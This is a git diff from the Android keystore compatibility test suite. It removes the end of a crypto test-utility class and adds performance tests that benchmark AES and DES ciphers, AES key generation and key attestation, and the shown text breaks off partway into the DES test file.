-            int chunkSize = Math.min(seed.length, resultRemaining);
-            System.arraycopy(seed, 0, result, resultOffset, chunkSize);
-            resultOffset += chunkSize;
-            resultRemaining -= chunkSize;
-        }
-        return result;
-    }
-
-    static byte[] leftPadWithZeroBytes(byte[] array, int length) {
-        if (array.length >= length) {
-            return array;
-        }
-        byte[] result = new byte[length];
-        System.arraycopy(array, 0, result, result.length - array.length, array.length);
-        return result;
-    }
-
-    static boolean contains(int[] array, int value) {
-        for (int element : array) {
-            if (element == value) {
-                return true;
-            }
-        }
-        return false;
-    }
-
-    static boolean isHmacAlgorithm(String algorithm) {
-        return algorithm.toUpperCase(Locale.US).startsWith("HMAC");
-    }
-
-    static String getHmacAlgorithmDigest(String algorithm) {
-        String algorithmUpperCase = algorithm.toUpperCase(Locale.US);
-        if (!algorithmUpperCase.startsWith("HMAC")) {
-            return null;
-        }
-        String result = algorithmUpperCase.substring("HMAC".length());
-        if (result.startsWith("SHA")) {
-            result = "SHA-" + result.substring("SHA".length());
-        }
-        return result;
-    }
-
-    static String getKeyAlgorithm(String transformation) {
-        try {
-            return getCipherKeyAlgorithm(transformation);
-        } catch (IllegalArgumentException e) {
-
-        }
-        try {
-            return getSignatureAlgorithmKeyAlgorithm(transformation);
-        } catch (IllegalArgumentException e) {
-
-        }
-        String transformationUpperCase = transformation.toUpperCase(Locale.US);
-        if (transformationUpperCase.equals("EC")) {
-            return KeyProperties.KEY_ALGORITHM_EC;
-        }
-        if (transformationUpperCase.equals("RSA")) {
-            return KeyProperties.KEY_ALGORITHM_RSA;
-        }
-        if (transformationUpperCase.equals("DESEDE")) {
-            return KeyProperties.KEY_ALGORITHM_3DES;
-        }
-        if (transformationUpperCase.equals("AES")) {
-            return KeyProperties.KEY_ALGORITHM_AES;
-        }
-        if (transformationUpperCase.startsWith("HMAC")) {
-            if (transformation.endsWith("SHA1")) {
-                return KeyProperties.KEY_ALGORITHM_HMAC_SHA1;
-            } else if (transformation.endsWith("SHA224")) {
-                return KeyProperties.KEY_ALGORITHM_HMAC_SHA224;
-            } else if (transformation.endsWith("SHA256")) {
-                return KeyProperties.KEY_ALGORITHM_HMAC_SHA256;
-            } else if (transformation.endsWith("SHA384")) {
-                return KeyProperties.KEY_ALGORITHM_HMAC_SHA384;
-            } else if (transformation.endsWith("SHA512")) {
-                return KeyProperties.KEY_ALGORITHM_HMAC_SHA512;
-            }
-        }
-        throw new IllegalArgumentException("Unsupported transformation: " + transformation);
-    }
-
-    static String getCipherKeyAlgorithm(String transformation) {
-        String transformationUpperCase = transformation.toUpperCase(Locale.US);
-        if (transformationUpperCase.startsWith("AES/")) {
-            return KeyProperties.KEY_ALGORITHM_AES;
-        } else if (transformationUpperCase.startsWith("DESEDE/")) {
-            return KeyProperties.KEY_ALGORITHM_3DES;
-        } else if (transformationUpperCase.startsWith("RSA/")) {
-            return KeyProperties.KEY_ALGORITHM_RSA;
-        } else {
-            throw new IllegalArgumentException("Unsupported transformation: " + transformation);
-        }
-    }
-
-    static boolean isCipherSymmetric(String transformation) {
-        String transformationUpperCase = transformation.toUpperCase(Locale.US);
-        if (transformationUpperCase.startsWith("AES/") || transformationUpperCase.startsWith(
-                "DESEDE/")) {
-            return true;
-        } else if (transformationUpperCase.startsWith("RSA/")) {
-            return false;
-        } else {
-            throw new IllegalArgumentException("YYZ: Unsupported transformation: " + transformation);
-        }
-    }
-
-    static String getCipherDigest(String transformation) {
-        String transformationUpperCase = transformation.toUpperCase(Locale.US);
-        if (transformationUpperCase.contains("/OAEP")) {
-            if (transformationUpperCase.endsWith("/OAEPPADDING")) {
-                return KeyProperties.DIGEST_SHA1;
-            } else if (transformationUpperCase.endsWith(
-                    "/OAEPWITHSHA-1ANDMGF1PADDING")) {
-                return KeyProperties.DIGEST_SHA1;
-            } else if (transformationUpperCase.endsWith(
-                    "/OAEPWITHSHA-224ANDMGF1PADDING")) {
-                return KeyProperties.DIGEST_SHA224;
-            } else if (transformationUpperCase.endsWith(
-                    "/OAEPWITHSHA-256ANDMGF1PADDING")) {
-                return KeyProperties.DIGEST_SHA256;
-            } else if (transformationUpperCase.endsWith(
-                    "/OAEPWITHSHA-384ANDMGF1PADDING")) {
-                return KeyProperties.DIGEST_SHA384;
-            } else if (transformationUpperCase.endsWith(
-                    "/OAEPWITHSHA-512ANDMGF1PADDING")) {
-                return KeyProperties.DIGEST_SHA512;
-            } else {
-                throw new RuntimeException("Unsupported OAEP padding scheme: "
-                        + transformation);
-            }
-        } else {
-            return null;
-        }
-    }
-
-    static String getCipherEncryptionPadding(String transformation) {
-        String transformationUpperCase = transformation.toUpperCase(Locale.US);
-        if (transformationUpperCase.endsWith("/NOPADDING")) {
-            return KeyProperties.ENCRYPTION_PADDING_NONE;
-        } else if (transformationUpperCase.endsWith("/PKCS7PADDING")) {
-            return KeyProperties.ENCRYPTION_PADDING_PKCS7;
-        } else if (transformationUpperCase.endsWith("/PKCS1PADDING")) {
-            return KeyProperties.ENCRYPTION_PADDING_RSA_PKCS1;
-        } else if (transformationUpperCase.split("/")[2].startsWith("OAEP")) {
-            return KeyProperties.ENCRYPTION_PADDING_RSA_OAEP;
-        } else {
-            throw new IllegalArgumentException("Unsupported transformation: " + transformation);
-        }
-    }
-
-    static String getCipherBlockMode(String transformation) {
-        return transformation.split("/")[1].toUpperCase(Locale.US);
-    }
-
-    static String getSignatureAlgorithmDigest(String algorithm) {
-        String algorithmUpperCase = algorithm.toUpperCase(Locale.US);
-        int withIndex = algorithmUpperCase.indexOf("WITH");
-        if (withIndex == -1) {
-            throw new IllegalArgumentException("Unsupported algorithm: " + algorithm);
-        }
-        String digest = algorithmUpperCase.substring(0, withIndex);
-        if (digest.startsWith("SHA")) {
-            digest = "SHA-" + digest.substring("SHA".length());
-        }
-        return digest;
-    }
-
-    static String getSignatureAlgorithmPadding(String algorithm) {
-        String algorithmUpperCase = algorithm.toUpperCase(Locale.US);
-        if (algorithmUpperCase.endsWith("WITHECDSA")) {
-            return null;
-        } else if (algorithmUpperCase.endsWith("WITHRSA")) {
-            return KeyProperties.SIGNATURE_PADDING_RSA_PKCS1;
-        } else if (algorithmUpperCase.endsWith("WITHRSA/PSS")) {
-            return KeyProperties.SIGNATURE_PADDING_RSA_PSS;
-        } else {
-            throw new IllegalArgumentException("Unsupported algorithm: " + algorithm);
-        }
-    }
-
-    static String getSignatureAlgorithmKeyAlgorithm(String algorithm) {
-        String algorithmUpperCase = algorithm.toUpperCase(Locale.US);
-        if (algorithmUpperCase.endsWith("WITHECDSA")) {
-            return KeyProperties.KEY_ALGORITHM_EC;
-        } else if ((algorithmUpperCase.endsWith("WITHRSA"))
-                || (algorithmUpperCase.endsWith("WITHRSA/PSS"))) {
-            return KeyProperties.KEY_ALGORITHM_RSA;
-        } else {
-            throw new IllegalArgumentException("Unsupported algorithm: " + algorithm);
-        }
-    }
-
-    static boolean isKeyLongEnoughForSignatureAlgorithm(String algorithm, int keySizeBits) {
-        String keyAlgorithm = getSignatureAlgorithmKeyAlgorithm(algorithm);
-        if (KeyProperties.KEY_ALGORITHM_EC.equalsIgnoreCase(keyAlgorithm)) {
-            // No length restrictions for ECDSA
-            return true;
-        } else if (KeyProperties.KEY_ALGORITHM_RSA.equalsIgnoreCase(keyAlgorithm)) {
-            String digest = getSignatureAlgorithmDigest(algorithm);
-            int digestOutputSizeBits = getDigestOutputSizeBits(digest);
-            if (digestOutputSizeBits == -1) {
-                // No digesting -- assume the key is long enough for the message
-                return true;
-            }
-            String paddingScheme = getSignatureAlgorithmPadding(algorithm);
-            int paddingOverheadBytes;
-            if (KeyProperties.SIGNATURE_PADDING_RSA_PKCS1.equalsIgnoreCase(paddingScheme)) {
-                paddingOverheadBytes = 30;
-            } else if (KeyProperties.SIGNATURE_PADDING_RSA_PSS.equalsIgnoreCase(paddingScheme)) {
-                int saltSizeBytes = (digestOutputSizeBits + 7) / 8;
-                paddingOverheadBytes = saltSizeBytes + 1;
-            } else {
-                throw new IllegalArgumentException(
-                        "Unsupported signature padding scheme: " + paddingScheme);
-            }
-            int minKeySizeBytes = paddingOverheadBytes + (digestOutputSizeBits + 7) / 8 + 1;
-            int keySizeBytes = keySizeBits / 8;
-            return keySizeBytes >= minKeySizeBytes;
-        } else {
-            throw new IllegalArgumentException("Unsupported key algorithm: " + keyAlgorithm);
-        }
-    }
-
-    static boolean isKeyLongEnoughForSignatureAlgorithm(String algorithm, Key key) {
-        return isKeyLongEnoughForSignatureAlgorithm(algorithm, getKeySizeBits(key));
-    }
-
-    static int getMaxSupportedPlaintextInputSizeBytes(String transformation, int keySizeBits) {
-        String encryptionPadding = getCipherEncryptionPadding(transformation);
-        int modulusSizeBytes = (keySizeBits + 7) / 8;
-        if (KeyProperties.ENCRYPTION_PADDING_NONE.equalsIgnoreCase(encryptionPadding)) {
-            return modulusSizeBytes - 1;
-        } else if (KeyProperties.ENCRYPTION_PADDING_RSA_PKCS1.equalsIgnoreCase(
-                encryptionPadding)) {
-            return modulusSizeBytes - 11;
-        } else if (KeyProperties.ENCRYPTION_PADDING_RSA_OAEP.equalsIgnoreCase(
-                encryptionPadding)) {
-            String digest = getCipherDigest(transformation);
-            int digestOutputSizeBytes = (getDigestOutputSizeBits(digest) + 7) / 8;
-            return modulusSizeBytes - 2 * digestOutputSizeBytes - 2;
-        } else {
-            throw new IllegalArgumentException(
-                    "Unsupported encryption padding scheme: " + encryptionPadding);
-        }
-
-    }
-
-    static int getMaxSupportedPlaintextInputSizeBytes(String transformation, Key key) {
-        String keyAlgorithm = getCipherKeyAlgorithm(transformation);
-        if (KeyProperties.KEY_ALGORITHM_AES.equalsIgnoreCase(keyAlgorithm)
-                || KeyProperties.KEY_ALGORITHM_3DES.equalsIgnoreCase(keyAlgorithm)) {
-            return Integer.MAX_VALUE;
-        } else if (KeyProperties.KEY_ALGORITHM_RSA.equalsIgnoreCase(keyAlgorithm)) {
-            return getMaxSupportedPlaintextInputSizeBytes(transformation, getKeySizeBits(key));
-        } else {
-            throw new IllegalArgumentException("Unsupported key algorithm: " + keyAlgorithm);
-        }
-    }
-
-    static int getDigestOutputSizeBits(String digest) {
-        if (KeyProperties.DIGEST_NONE.equals(digest)) {
-            return -1;
-        } else if (KeyProperties.DIGEST_MD5.equals(digest)) {
-            return 128;
-        } else if (KeyProperties.DIGEST_SHA1.equals(digest)) {
-            return 160;
-        } else if (KeyProperties.DIGEST_SHA224.equals(digest)) {
-            return 224;
-        } else if (KeyProperties.DIGEST_SHA256.equals(digest)) {
-            return 256;
-        } else if (KeyProperties.DIGEST_SHA384.equals(digest)) {
-            return 384;
-        } else if (KeyProperties.DIGEST_SHA512.equals(digest)) {
-            return 512;
-        } else {
-            throw new IllegalArgumentException("Unsupported digest: " + digest);
-        }
-    }
-
-    static byte[] concat(byte[] arr1, byte[] arr2) {
-        return concat(arr1, 0, (arr1 != null) ? arr1.length : 0,
-                arr2, 0, (arr2 != null) ? arr2.length : 0);
-    }
-
-    static byte[] concat(byte[] arr1, int offset1, int len1,
-            byte[] arr2, int offset2, int len2) {
-        if (len1 == 0) {
-            return subarray(arr2, offset2, len2);
-        } else if (len2 == 0) {
-            return subarray(arr1, offset1, len1);
-        }
-        byte[] result = new byte[len1 + len2];
-        if (len1 > 0) {
-            System.arraycopy(arr1, offset1, result, 0, len1);
-        }
-        if (len2 > 0) {
-            System.arraycopy(arr2, offset2, result, len1, len2);
-        }
-        return result;
-    }
-
-    static byte[] subarray(byte[] arr, int offset, int len) {
-        if (len == 0) {
-            return EmptyArray.BYTE;
-        }
-        if ((offset == 0) && (arr.length == len)) {
-            return arr;
-        }
-        byte[] result = new byte[len];
-        System.arraycopy(arr, offset, result, 0, len);
-        return result;
-    }
-
-    static KeyProtection getMinimalWorkingImportParametersForSigningingWith(
-            String signatureAlgorithm) {
-        String keyAlgorithm = getSignatureAlgorithmKeyAlgorithm(signatureAlgorithm);
-        String digest = getSignatureAlgorithmDigest(signatureAlgorithm);
-        if (KeyProperties.KEY_ALGORITHM_EC.equalsIgnoreCase(keyAlgorithm)) {
-            return new KeyProtection.Builder(KeyProperties.PURPOSE_SIGN)
-                    .setDigests(digest)
-                    .build();
-        } else if (KeyProperties.KEY_ALGORITHM_RSA.equalsIgnoreCase(keyAlgorithm)) {
-            String padding = getSignatureAlgorithmPadding(signatureAlgorithm);
-            return new KeyProtection.Builder(KeyProperties.PURPOSE_SIGN)
-                    .setDigests(digest)
-                    .setSignaturePaddings(padding)
-                    .build();
-        } else {
-            throw new IllegalArgumentException(
-                    "Unsupported signature algorithm: " + signatureAlgorithm);
-        }
-    }
-
-    static KeyProtection getMinimalWorkingImportParametersWithLimitedUsageForSigningingWith(
-            String signatureAlgorithm, int maxUsageCount) {
-        String keyAlgorithm = getSignatureAlgorithmKeyAlgorithm(signatureAlgorithm);
-        String digest = getSignatureAlgorithmDigest(signatureAlgorithm);
-        if (KeyProperties.KEY_ALGORITHM_EC.equalsIgnoreCase(keyAlgorithm)) {
-            return new KeyProtection.Builder(KeyProperties.PURPOSE_SIGN)
-                    .setDigests(digest)
-                    .setMaxUsageCount(maxUsageCount)
-                    .build();
-        } else if (KeyProperties.KEY_ALGORITHM_RSA.equalsIgnoreCase(keyAlgorithm)) {
-            String padding = getSignatureAlgorithmPadding(signatureAlgorithm);
-            return new KeyProtection.Builder(KeyProperties.PURPOSE_SIGN)
-                    .setDigests(digest)
-                    .setSignaturePaddings(padding)
-                    .setMaxUsageCount(maxUsageCount)
-                    .build();
-        } else {
-            throw new IllegalArgumentException(
-                    "Unsupported signature algorithm: " + signatureAlgorithm);
-        }
-    }
-
-    static KeyProtection getMinimalWorkingImportParametersForCipheringWith(
-            String transformation, int purposes) {
-        return getMinimalWorkingImportParametersForCipheringWith(transformation, purposes, false);
-    }
-
-    static KeyProtection getMinimalWorkingImportParametersForCipheringWith(
-            String transformation, int purposes, boolean ivProvidedWhenEncrypting) {
-        return getMinimalWorkingImportParametersForCipheringWith(transformation, purposes,
-            ivProvidedWhenEncrypting, false, false);
-    }
-
-    static KeyProtection getMinimalWorkingImportParametersForCipheringWith(
-            String transformation, int purposes, boolean ivProvidedWhenEncrypting,
-            boolean isUnlockedDeviceRequired, boolean isUserAuthRequired) {
-        String keyAlgorithm = TestUtils.getCipherKeyAlgorithm(transformation);
-        if (KeyProperties.KEY_ALGORITHM_AES.equalsIgnoreCase(keyAlgorithm)
-            || KeyProperties.KEY_ALGORITHM_3DES.equalsIgnoreCase(keyAlgorithm)) {
-            String encryptionPadding = TestUtils.getCipherEncryptionPadding(transformation);
-            String blockMode = TestUtils.getCipherBlockMode(transformation);
-            boolean randomizedEncryptionRequired = true;
-            if (KeyProperties.BLOCK_MODE_ECB.equalsIgnoreCase(blockMode)) {
-                randomizedEncryptionRequired = false;
-            } else if ((ivProvidedWhenEncrypting)
-                    && ((purposes & KeyProperties.PURPOSE_ENCRYPT) != 0)) {
-                randomizedEncryptionRequired = false;
-            }
-            return new KeyProtection.Builder(
-                    purposes)
-                    .setBlockModes(blockMode)
-                    .setEncryptionPaddings(encryptionPadding)
-                    .setRandomizedEncryptionRequired(randomizedEncryptionRequired)
-                    .setUnlockedDeviceRequired(isUnlockedDeviceRequired)
-                    .setUserAuthenticationRequired(isUserAuthRequired)
-                    .setUserAuthenticationValidityDurationSeconds(3600)
-                    .build();
-        } else if (KeyProperties.KEY_ALGORITHM_RSA.equalsIgnoreCase(keyAlgorithm)) {
-            String digest = TestUtils.getCipherDigest(transformation);
-            String encryptionPadding = TestUtils.getCipherEncryptionPadding(transformation);
-            boolean randomizedEncryptionRequired =
-                    !KeyProperties.ENCRYPTION_PADDING_NONE.equalsIgnoreCase(encryptionPadding);
-            return new KeyProtection.Builder(
-                    purposes)
-                    .setDigests((digest != null) ? new String[] {digest} : EmptyArray.STRING)
-                    .setEncryptionPaddings(encryptionPadding)
-                    .setRandomizedEncryptionRequired(randomizedEncryptionRequired)
-                    .setUserAuthenticationRequired(isUserAuthRequired)
-                    .setUserAuthenticationValidityDurationSeconds(3600)
-                    .setUnlockedDeviceRequired(isUnlockedDeviceRequired)
-                    .build();
-        } else {
-            throw new IllegalArgumentException("Unsupported key algorithm: " + keyAlgorithm);
-        }
-    }
-
-    static byte[] getBigIntegerMagnitudeBytes(BigInteger value) {
-        return removeLeadingZeroByteIfPresent(value.toByteArray());
-    }
-
-    private static byte[] removeLeadingZeroByteIfPresent(byte[] value) {
-        if ((value.length < 1) || (value[0] != 0)) {
-            return value;
-        }
-        return TestUtils.subarray(value, 1, value.length - 1);
-    }
-
-    static byte[] generateRandomMessage(int messageSize) {
-        byte[] message = new byte[messageSize];
-        new SecureRandom().nextBytes(message);
-        return message;
-    }
-
-    public static boolean isAttestationSupported() {
-        return Build.VERSION.DEVICE_INITIAL_SDK_INT >= Build.VERSION_CODES.O;
-    }
-}
diff --git a/tests/tests/keystore/src/android/keystore/cts/performance/AesCipherPerformanceTest.java b/tests/tests/keystore/src/android/keystore/cts/performance/AesCipherPerformanceTest.java
new file mode 100644
index 0000000..62c3358
--- /dev/null
+++ b/tests/tests/keystore/src/android/keystore/cts/performance/AesCipherPerformanceTest.java
@@ -0,0 +1,158 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.keystore.cts.performance;
+
+import android.keystore.cts.util.TestUtils;
+import android.security.keystore.KeyProperties;
+
+import org.junit.Test;
+
+import java.security.AlgorithmParameters;
+
+import javax.crypto.Cipher;
+import javax.crypto.SecretKey;
+
+public class AesCipherPerformanceTest extends PerformanceTestBase {
+
+    final int[] SUPPORTED_AES_KEY_SIZES = {128, 256};
+    final int[] TEST_MESSAGE_SIZES = {1 << 6, 1 << 10, 1 << 17};
+
+    @Test
+    public void testAES_CBC_NoPadding() throws Exception {
+        testAesCipher("AES/CBC/NoPadding", SUPPORTED_AES_KEY_SIZES, TEST_MESSAGE_SIZES);
+    }
+
+    @Test
+    public void testAES_CBC_PKCS7Padding() throws Exception {
+        testAesCipher("AES/CBC/PKCS7Padding", SUPPORTED_AES_KEY_SIZES, TEST_MESSAGE_SIZES);
+    }
+
+    @Test
+    public void testAES_CTR_NoPadding() throws Exception {
+        testAesCipher("AES/CTR/NoPadding", SUPPORTED_AES_KEY_SIZES, TEST_MESSAGE_SIZES);
+    }
+
+    @Test
+    public void testAES_ECB_NoPadding() throws Exception {
+        testAesCipher("AES/ECB/NoPadding", SUPPORTED_AES_KEY_SIZES, TEST_MESSAGE_SIZES);
+    }
+
+    @Test
+    public void testAES_ECB_PKCS7Padding() throws Exception {
+        testAesCipher("AES/ECB/PKCS7Padding", SUPPORTED_AES_KEY_SIZES, TEST_MESSAGE_SIZES);
+    }
+
+    @Test
+    public void testAES_GCM_NoPadding() throws Exception {
+        testAesCipher("AES/GCM/NoPadding", SUPPORTED_AES_KEY_SIZES, TEST_MESSAGE_SIZES);
+    }
+
+    private void testAesCipher(String algorithm, int[] keySizes, int[] messageSizes)
+            throws Exception {
+        for (int keySize : keySizes) {
+            KeystoreKeyGenerator androidKeystoreAesGenerator =
+                    new AndroidKeystoreAesKeyGenerator(algorithm, keySize);
+            KeystoreKeyGenerator defaultKeystoreAesGenerator =
+                    new DefaultKeystoreSecretKeyGenerator(algorithm, keySize);
+            for (int messageSize : messageSizes) {
+                measure(
+                        new KeystoreAesEncryptMeasurable(
+                                androidKeystoreAesGenerator, keySize, messageSize),
+                        new KeystoreAesEncryptMeasurable(
+                                defaultKeystoreAesGenerator, keySize, messageSize),
+                        new KeystoreAesDecryptMeasurable(
+                                androidKeystoreAesGenerator, keySize, messageSize),
+                        new KeystoreAesDecryptMeasurable(
+                                defaultKeystoreAesGenerator, keySize, messageSize));
+            }
+        }
+    }
+
+    private class AndroidKeystoreAesKeyGenerator extends AndroidKeystoreKeyGenerator {
+        AndroidKeystoreAesKeyGenerator(String algorithm, int keySize) throws Exception {
+            super(algorithm);
+            getSecretKeyGenerator()
+                    .init(
+                            getKeyGenParameterSpecBuilder(
+                                            KeyProperties.PURPOSE_ENCRYPT
+                                                    | KeyProperties.PURPOSE_DECRYPT)
+                                    .setBlockModes(TestUtils.getCipherBlockMode(algorithm))
+                                    .setEncryptionPaddings(
+                                            TestUtils.getCipherEncryptionPadding(algorithm))
+                                    .setRandomizedEncryptionRequired(false)
+                                    .setKeySize(keySize)
+                                    .build());
+        }
+    }
+
+    private class KeystoreAesEncryptMeasurable extends KeystoreMeasurable {
+        private final Cipher mCipher;
+        private SecretKey mKey;
+
+        KeystoreAesEncryptMeasurable(
+                KeystoreKeyGenerator keyGenerator, int keySize, int messageSize) throws Exception {
+            super(keyGenerator, "encrypt", keySize, messageSize);
+            mCipher = Cipher.getInstance(getAlgorithm());
+        }
+
+        @Override
+        public void initialSetUp() throws Exception {
+            mKey = generateSecretKey();
+        }
+
+        @Override
+        public void setUp() throws Exception {
+            mCipher.init(Cipher.ENCRYPT_MODE, mKey);
+        }
+
+        @Override
+        public void measure() throws Exception {
+            mCipher.doFinal(getMessage());
+        }
+    }
+
+    private class KeystoreAesDecryptMeasurable extends KeystoreMeasurable {
+        private final Cipher mCipher;
+        private byte[] mEncryptedMessage;
+        private AlgorithmParameters mParameters;
+        private SecretKey mKey;
+
+        KeystoreAesDecryptMeasurable(
+                KeystoreKeyGenerator keyGenerator, int keySize, int messageSize) throws Exception {
+            super(keyGenerator, "decrypt", keySize, messageSize);
+            mCipher = Cipher.getInstance(getAlgorithm());
+        }
+
+        @Override
+        public void initialSetUp() throws Exception {
+            mKey = generateSecretKey();
+            mCipher.init(Cipher.ENCRYPT_MODE, mKey);
+            mEncryptedMessage = mCipher.doFinal(getMessage());
+            mParameters = mCipher.getParameters();
+        }
+
+        @Override
+        public void setUp() throws Exception {
+            mCipher.init(Cipher.DECRYPT_MODE, mKey, mParameters);
+        }
+
+        @Override
+        public void measure() throws Exception {
+            mCipher.doFinal(mEncryptedMessage);
+        }
+    }
+}
diff --git a/tests/tests/keystore/src/android/keystore/cts/performance/AesKeyGenPerformanceTest.java b/tests/tests/keystore/src/android/keystore/cts/performance/AesKeyGenPerformanceTest.java
new file mode 100644
index 0000000..f72707c
--- /dev/null
+++ b/tests/tests/keystore/src/android/keystore/cts/performance/AesKeyGenPerformanceTest.java
@@ -0,0 +1,55 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.keystore.cts.performance;
+
+import android.security.keystore.KeyProperties;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class AesKeyGenPerformanceTest extends PerformanceTestBase {
+
+    final int[] SUPPORTED_AES_KEY_SIZES = {128, 256};
+
+    @Test
+    public void testAesKeyGen() throws Exception {
+        for (int keySize : SUPPORTED_AES_KEY_SIZES) {
+            measure(
+                    new KeystoreSecretKeyGenMeasurable(
+                            new DefaultKeystoreSecretKeyGenerator("AES", keySize), keySize),
+                    new KeystoreSecretKeyGenMeasurable(
+                            new AndroidKeystoreAesKeyGenerator("AES", keySize), keySize));
+        }
+    }
+
+    private class AndroidKeystoreAesKeyGenerator extends AndroidKeystoreKeyGenerator {
+
+        AndroidKeystoreAesKeyGenerator(String algorithm, int keySize) throws Exception {
+            super(algorithm);
+            getSecretKeyGenerator()
+                    .init(
+                            getKeyGenParameterSpecBuilder(
+                                            KeyProperties.PURPOSE_ENCRYPT
+                                                    | KeyProperties.PURPOSE_DECRYPT)
+                                    .setKeySize(keySize)
+                                    .build());
+        }
+    }
+}
diff --git a/tests/tests/keystore/src/android/keystore/cts/performance/AttestationPerformanceTest.java b/tests/tests/keystore/src/android/keystore/cts/performance/AttestationPerformanceTest.java
new file mode 100644
index 0000000..929f505
--- /dev/null
+++ b/tests/tests/keystore/src/android/keystore/cts/performance/AttestationPerformanceTest.java
@@ -0,0 +1,125 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.keystore.cts.performance;
+
+import android.keystore.cts.performance.PerformanceTestBase.AndroidKeystoreKeyGenerator;
+import android.keystore.cts.util.TestUtils;
+import android.security.keystore.KeyProperties;
+
+import java.security.spec.ECGenParameterSpec;
+
+import org.junit.Test;
+
+public class AttestationPerformanceTest extends PerformanceTestBase {
+
+    private final int[] RSA_KEY_SIZES = {2048, 3072, 4096};
+    private final int[] EC_CURVES = {224, 256, 384, 521};
+
+    private final byte[][] ATTESTATION_CHALLENGES = {
+        new byte[0], // empty challenge
+        "challenge".getBytes(), // short challenge
+        new byte[128], // long challenge
+    };
+
+    @Test
+    public void testRsaKeyAttestation() throws Exception {
+        if (!TestUtils.isAttestationSupported()) {
+            return;
+        }
+
+        for (byte[] challenge : ATTESTATION_CHALLENGES) {
+            for (int keySize : RSA_KEY_SIZES) {
+                measure(new KeystoreAttestationMeasurable(
+                        new AndroidKeystoreRsaKeyGenerator("SHA1withRSA", keySize, challenge),
+                        keySize, challenge.length));
+            }
+        }
+    }
+
+    @Test
+    public void testEcKeyAttestation() throws Exception {
+        if (!TestUtils.isAttestationSupported()) {
+            return;
+        }
+
+        for (byte[] challenge : ATTESTATION_CHALLENGES) {
+            for (int curve : EC_CURVES) {
+                measure(new KeystoreAttestationMeasurable(
+                        new AndroidKeystoreEcKeyGenerator("SHA1withECDSA", curve, challenge),
+                        curve,
+                        challenge.length));
+            }
+        }
+    }
+
+    private class AndroidKeystoreRsaKeyGenerator extends AndroidKeystoreKeyGenerator {
+
+        AndroidKeystoreRsaKeyGenerator(String algorithm, int keySize, byte[] challenge)
+                throws Exception {
+            super(algorithm);
+            getKeyPairGenerator()
+                    .initialize(
+                            getKeyGenParameterSpecBuilder(
+                                            KeyProperties.PURPOSE_SIGN
+                                                    | KeyProperties.PURPOSE_VERIFY)
+                                    .setKeySize(keySize)
+                                    .setSignaturePaddings(
+                                            TestUtils.getSignatureAlgorithmPadding(algorithm))
+                                    .setDigests(TestUtils.getSignatureAlgorithmDigest(algorithm))
+                                    .setAttestationChallenge(challenge)
+                                    .build());
+        }
+    }
+
+    private class AndroidKeystoreEcKeyGenerator extends AndroidKeystoreKeyGenerator {
+
+        AndroidKeystoreEcKeyGenerator(String algorithm, int keySize, byte[] challenge)
+                throws Exception {
+            super(algorithm);
+            getKeyPairGenerator()
+                    .initialize(
+                            getKeyGenParameterSpecBuilder(
+                                            KeyProperties.PURPOSE_SIGN
+                                                    | KeyProperties.PURPOSE_VERIFY)
+                                    .setKeySize(keySize)
+                                    .setDigests(TestUtils.getSignatureAlgorithmDigest(algorithm))
+                                    .setAttestationChallenge(challenge)
+                                    .build());
+        }
+    }
+
+    private class KeystoreAttestationMeasurable extends KeystoreMeasurable {
+        private final AndroidKeystoreKeyGenerator mKeyGen;
+
+        KeystoreAttestationMeasurable(
+                AndroidKeystoreKeyGenerator keyGen, int keySize, int challengeSize)
+                throws Exception {
+            super(keyGen, "attest", keySize, challengeSize);
+            mKeyGen = keyGen;
+        }
+
+        @Override
+        public void initialSetUp() throws Exception {
+            mKeyGen.getKeyPairGenerator().generateKeyPair();
+        }
+
+        @Override
+        public void measure() throws Exception {
+            mKeyGen.getCertificateChain();
+        }
+    }
+}
diff --git a/tests/tests/keystore/src/android/keystore/cts/performance/DesCipherPerformanceTest.java b/tests/tests/keystore/src/android/keystore/cts/performance/DesCipherPerformanceTest.java
new file mode 100644
index 0000000..6d6dbc4
--- /dev/null
+++ b/tests/tests/keystore/src/android/keystore/cts/performance/DesCipherPerformanceTest.java
@@ -0,0 +1,160 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.keystore.cts.performance;
+
+import android.keystore.cts.util.TestUtils;
+import android.security.keystore.KeyProperties;
+
+import java.security.AlgorithmParameters;
+
+import javax.crypto.Cipher;
+import javax.crypto.SecretKey;
+
+import org.junit.Test;
+
+public class DesCipherPerformanceTest extends PerformanceTestBase {
+
+    final int[] SUPPORTED_DES_KEY_SIZES = {168};
